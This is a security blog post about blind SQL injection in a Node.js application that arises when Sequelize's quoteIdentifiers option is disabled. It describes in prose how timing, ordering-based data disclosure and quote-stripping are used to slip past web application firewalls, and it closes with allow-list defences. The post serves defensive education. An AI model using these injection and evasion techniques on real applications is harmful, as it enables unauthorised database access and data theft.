Is the SQL Injection Optional?

Introduction

SQL injection attacks are one of the most common and dangerous vulnerabilities that can be exploited by attackers to compromise web applications. Recently, I discovered a blind SQL injection vulnerability in a Node.js application. Upon further investigation, it was found that the vulnerability was caused by an insecure option set in Sequelize, a popular Object-Relational Mapping (ORM) library for Node.js. Although the Sequelize documentation provides a warning about the security implications of the option, the warning is not detailed enough to fully explain the potential risks. This article will delve deeper into the insecure option in Sequelize and explore how it can be exploited by attackers to execute malicious SQL statements and compromise a web application. By understanding the mechanics of this vulnerability, developers can take proactive steps to secure their Node.js applications and protect them from SQL injection attacks.

Baseline

Discussing a vulnerability in a large application can be very complex.  There are a lot of mitigating factors in place, coding methodologies used, and layers of defensive technologies in place to prevent security issues in most application environments.  In order to isolate the issue, a simple Node.js application will be used.

This application provides three endpoints to access.  The root of the site provides a JSON listing of the Sequelize Models that are defined within the application.  The second endpoint provides a dynamic REST API for retrieving record listings based on the model name.  The last endpoint will be the focus of this article, and allows the selection of model attributes, paging functionality, and sorting based on user input.

Sequelize quoteIdentifiers Option

Sequelize is a popular ORM library for Node.js applications, and allows support for multiple popular  database platforms.  It is a common platform for writing REST, JSON, and Graphql APIs.  As with many complex libraries, it is known that one tool does not work for every job, and Sequelize provides a significant amount of customization options.  This allows the developer to build complex SQL queries that would not be possible outside of hard coding the SQL manually.  This is also helpful in developing extensions to the library where default behavior can interfere with the desired goal.  The quoteIdentifiers option is a common one that is disabled when advanced features conflict with Sequelize’s SQL query generation.

Looking into the documentation for the quoteIdentifiers option shows a warning added to deter developers from disabling it:

Sequelize has had many vulnerabilities identified in it’s source code, and has done well to develop patches to fix them.  However, as with most SQL libraries, a significant amount of application security falls on the developers to use secure development practices, requiring them to be knowledgeable of the risks and limitations of 3rd party libraries they use, and ensuring the use and configuration of these libraries does not introduce additional risk.  While this warning is helpful in pointing out that disabling this option can lead to vulnerabilities introduced into the application, there are no details on what areas could be vulnerable or what the risks could be.

Sequelize Setup

The application creates a Sequelize instance in the db.js file on line 6.  Line 13 passes in the quoteIdentifiers option, which in this case is optional as it is set to it’s default value.  As more testing is done through this article, line 13 will be edited to show the difference in behavior as the quoteIdentifiers is enabled and disabled for each example.

The filter Endpoint

The filter endpoint is handled in the controller.js file on lines 15 through 41.  The filter function takes the POST request body and does some input validation before adding properties to a req.filter object.  The req.filter object is passed in as the options to the Sequelize findAll function on line 66.

As more testing is done through this article, lines 27 and 30 will be swapped with lines 28 and 31 for multiple tests.

Request/Response Examples

Any environmental changes can be made to the .env file in the application’s folder.  Once the environment is setup, the application can be run via the nodejs command, and passing the app.js file as the first parameter.

Sending requests can be done using the following curl command:

curl -q -X POST -H 'Content-Type: application/json' --data '{}' http://127.0.0.1:3333/categories/filter 2>/dev/null | jq

The application will output the req.filter value and the SQL query generated from it for every request.  Given the example above, the application should output the following:

{}

Executing (default): SELECT "category", "categoryname" FROM "categories" AS "categories";

Future examples will be written with only the –data curl parameter, since this is the only part of the command that will change.

There’s a couple things to note on this example that Sequelize is doing automatically.  The table name is given an automatically generated alias, and the alias is applied to the order by elements.  All object names are quoted as expected.

Attack Examples

Starting with a few simple requests to show how Sequelize handles some key characters in it’s default setup.  Once a baseline behavior is identified, the quoteIdentifiers option will be disabled before attempting more advanced attacks.

Behavior Enumeration

Attacking the sort property shows the the query is generated using the payload as a column reference.  The double quote character was removed from the payload rather then escaped.

This example is interesting as it produces legitimate SQL code, and returns empty results.  Instead of requesting fields, the query results in the string literal being returned for every record in the table, but since none of the field names match what was requested, the results are all empty objects.

Attempting to pass in single quotes results in the quotes being properly escaped by doubling them.  This still returns empty objects to the client since the query is still valid, and the requested column names are not present in the database results.

The next set of tests will use the Sequelize col function to wrap the query parameters before passing to into the fetch function.

Replaying the same tests as earlier, a few changes can be observed.

With the col function in use, the filter parameters are all objects with a “col” property to flag the data as columns.  The other change is the query no longer uses the table alias before the order by field.

Using string literals within the sort parameter also results in an error as the object quotes wrap the value causing the single quotes to be interpreted as part of the column name which is not a valid column of the table.

Exploitation

Now that a baseline is established, the quoteIdentifiers can be disabled, and the “col” functions can be reverted.

First example shows a successful SQL Injection.  The input passed in is directly inserted into the final SQL query.

Using single quotes within the payload also works, and shows no sanitization of the payload.

With the previous examples, the injection is limited to Blind SQL Injection, as the injection is being done as part of the select clause, but Sequelize is using that same payload as the field name returned from the query.  So without the ability to write a recursive static payload, all the exploits will be blind.  So in this example, pg_sleep is used to trigger a detectable delay in the response, and is done in a sub-query just to check for any additional defenses, but the sub-query works fine.

Using the sort parameter, you can see the table alias is prepended to the payload causing an error.

Adding a valid field to the payload bypasses the error and the injection works again.  Still, there is no way to return data from the order by clause, so the exploit is still blind.

Here we break out of blind exploits and get data returned by requesting an additional invalid column that is returned by the injection payload.  The invalid column is part of the commented section of the SQL query, so it has no affect on the query.  However Sequelize is unaware of the actual query being executed, and is just blindly checking the results for the requested column names, and is tricked into returning the invalid column.

The next set of tests will again use the Sequelize col function to wrap the query parameters before passing to into the fetch function.  This allows additional methods for exploitation.

In an interesting twist, even with quoteIdentifiers off, current_user is still being quoted resulting in an error as it does not exist as a column in the categories table.

With the col function removing the table prefix from the order by, this opens up access to all the database’s defined functions.  With the substr function, an observable change in the response can be seen as record sorting is changed.

Using ascii, substr, and the modulo operator, a targeted value can be disclosed.  In this case, records will be sorted by using the first character of the record value and calculating the “distance” from the first character of the target value.  Matching characters will return a 0 value.  Characters with a lower value will have a higher comparison result and be pushed further down the result list, while characters with a higher value will be sorted earlier.  With repeated requests using different positions in the record values, the target value can be deduced from the results.  This exploit would require a record-set containing a mostly complete character range, the more complete the more accurate the exploit will be.

This example is much more accurate, but only provides a boolean result to be observed.  Using the substr with a Case statement, the character the records will be sorted by can be changed based on the result of a sub-query.  Using the Exists function, any query can be executed and the result can be observed by the ordering of the results. .

This is a practical example of the previous exploit payload.  The results are ordered by the second character due to the sub-query returning results since a user starting with “pg” does exist.

Defense Options

Input sanitation is the obvious defense, but Sequelize can provide some help.  Using the model’s getAttributes function, an allowable list of column names can be accessed and compared against user supplied values.  If a supplied value is not in the list, throw an error and reject the request.  The same can be done with models using the Sequelize models property and the Object.keys function.  It’s always better to use fine grain controls allowing specific values instead of blocking malicious values and hoping you’ve covered all possible cases.

Bonus Exploit

Did you find it?  An astute observer might have noticed that there is another vulnerability shown in this article.  Feel free to take a moment to look over the examples and see if anything looks out of the ordinary.

The Sequelize col function has some unique behavior.  The function adds quotes to input to generate the string as an object identifier in the SQL query, but unlike many SQL sanitization functions, the double quotes in the input are not escaped, but removed.  Removing characters from user input is not a common defensive tactic, and for good reason.

Many Web Application Firewalls block requests that appear to have malicious data.  This is usually identified by specific keywords that would not be common in most application environments.  For SQL injections, “SELECT … FROM”, “UNION”, and “INFORMATION_SCHEMA” are commonly blocked when added to request data.  Knowing that specific characters will be removed from supplied input before processing can allow an attacker to bypass defensive layers used in the application environment.

Adding double quote characters in the payloads used previously still results in the same outcome, but makes identification of the malicious payload more difficult when using a deny-list of known malicious values.

Conclusion

Input sanitization should not be left to libraries on their own.  Sequelize has these functions as features to allow developers to write extensions, and build more complex statements while still using the ORM functions as a base.  Being more flexible is a bonus.  It is important that developers understand the behavior of their dependencies so as to not introduce vulnerabilities to their application.

Looking back at the warning in the quoteIdentifiers documentation:

This warning doesn’t seem adequate considering the behavior observed during these tests.  Disabling the quoteIdentifiers option seems to disable almost every observable defense provided by the library.  Developers should be aware of the consequences of disabling this option so they may better evaluate the changes needed for the additional input sanitation required in their application.

Given the behavior of the Sequelize col function identified in previous examples showing how it can make exploitation easier, and the ability to use it to bypass defensive layers in the application environment, developers should evaluate the use of the function in their applications and decide if it’s continued use, or removal, is warranted.

Want to know more?

Curious about penetration testing, but not sure where to start?  This is a good place.

Want to know if an attacker can takeover your environment?  Let’s have a chat.